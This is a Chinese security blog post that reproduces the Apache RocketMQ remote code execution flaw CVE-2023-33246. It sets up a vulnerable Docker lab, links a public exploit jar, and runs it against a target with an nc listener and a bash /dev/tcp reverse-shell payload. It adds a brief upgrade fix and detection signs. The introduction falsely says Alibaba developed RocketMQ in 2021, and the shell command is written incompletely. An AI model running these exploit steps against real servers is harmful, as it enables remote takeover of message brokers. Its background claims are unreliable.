信安菜菜:文若有惑不解,公众号联系作者,希望大佬批评指点指点
Apache RocketMQ是个啥?
apache RocketMQ是阿里巴巴在2021年开发,是一个支持分布式部署的消息中间件,它可以将消息从一个应用程序发送到另一个应用程序。RocketMQ使用消息队列作为消息传递的基础设施,每一个消息队列包含多个生产者和消费者
它是阿里巴巴双十一购物狂欢节和众多大规模互联网业务场景必备的基础设施
它的特点
1、可伸缩:轻松扩展处理大量消息
2、高可靠性:在节点故障的情况下也能保证消息不会丢失
3、低延迟:消息传递延迟非常低,使用了零拷贝技术和高效的I/O操作
4、高可用性:支持复制和故障切换功能,
5、多语言支持:java、python、go等多种客户端API
总之是许多企业在分布式架构中实现异步通信解决数据一致性的问题首选方案。(可以刷批量)
受影响版本:
Apache RocketMQ <= 5.1.0
Apache RocketMQ <= 4.9.5
漏洞原理
由于RocketMQ的NameServer、Broker、Controller多个组件泄露在外网,,导致在处理特定请求时,没有正确的验证检查输入的数据中是否存在恶意数据,导致通过构造的请求来触发该漏洞,发生RCE
也可以通过伪造 RocketMQ 协议内容来达到同样的效果,在 RocketMQ 中,各个组件之间通信使用自定义的协议,默认情况下使用的是TCP协议。可以通过伪造 RocketMQ 协议内容来欺骗其他节点接受错误的消息,并利用该漏洞执行任意命令。可以通过在网络中窃取或篡改消息,来伪造 RocketMQ 的协议内容。
比如:可以修改消息头部中的某些字段,以模拟其他节点发出的消息。如果其他节点未对消息进行严格的验证和过滤,就可能会误认为该消息是合法的,并执行其中包含的恶意命令。
漏洞复现
拉取对应版本的镜像镜像
docker pull apache/rocketmq:4.9.1 && docker pull apacherocketmq/rocketmq-console:2.0.0
启动namesrv
docker run -d -p 9876:9876 -v /data/namesrv/logs:/root/logs -v /data/namesrv/store:/root/store --name rmqnamesrv -e "MAX_POSSIBLE_HEAP=100000000" apache/rocketmq:4.9.1 sh mqnamesrv
创建文件镜像文件
mkdir -p /mydata/rocketmq/conf/ && echo "brokerClusterName = DefaultCluster
brokerName = broker-a
brokerId = 0
deleteWhen = 04
fileReservedTime = 48
brokerRole = ASYNC_MASTER
flushDiskType = SYNC_FLUSH
brokerIP1 = "主机IP" > /mydata/rocketmq/conf/broker.conf
注意需要修改brokerIP1 IP地址
启动:broker
docker run -d -p 10911:10911 -p 10909:10909 -v /data/broker/logs:/root/logs -v /data/broker/store:/root/store -v /mydata/rocketmq/conf/broker.conf:/opt/rocketmq/conf/broker.conf --name rmqbroker --link rmqnamesrv:namesrv -e "NAMESRV_ADDR=namesrv:9876" -e "MAX_POSSIBLE_HEAP=200000000" apache/rocketmq:4.9.1 sh mqbroker -c /opt/rocketmq/conf/broker.conf
启动:console
docker run -d --name rmqconsole -p 8899:8080 --link rmqnamesrv:namesrv
-e "JAVA_OPTS=-Drocketmq.namesrv.addr=192.168.88.104:9876
-Dcom.rocketmq.sendMessageWithVIPChannel=false"
-t apacherocketmq/rocketmq-console:2.0.0
访问靶场目标 ip:8899
开始利用
工具下载地址前提环境(java8)
https://github.com/SuperZero/CVE-2023-33246/archive/refs/heads/main.zip
执行命令前需要开启监听
nc -lvnp 6868
利用命令
java -jar CVE-2023-33246.jar -ip "目标地址" -cmd "执行的命令"
java -jar CVE-2023-33246.jar -ip "目标ip" -cmd "bash -i >& /dev/tcp/x.x.x.x/6868 0>&"
执行完毕,返回vps
成功弹shell
防御修复
升级到最新版本
被利用特征
大量非常规的消息流量,其中包含具有恶意主题和标签的消息
异常的网络连接行为,例如大量尝试连接 Apache RocketMQ 实例的行为
突然增加的 CPU 和内存使用率,可能是攻击者通过漏洞执行了恶意代码导致
异常的日志记录行为,例如大量未知来源的错误或警告消息
参考链接:
https://blog.csdn.net/weixin_46789316/article/details/131055179?spm=1001.2014.3001.5501
https://mp.weixin.qq.com/s/bavK77yhebSmL3DDtiJLzA
https://blog.csdn.net/qq_41904294/article/details/130987233
长期更新RCE漏洞复现
多多关照
原文始发于微信公众号(K搞安全):Apache RocketMQ(CVE-2023-33246)远程代码执行复现
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论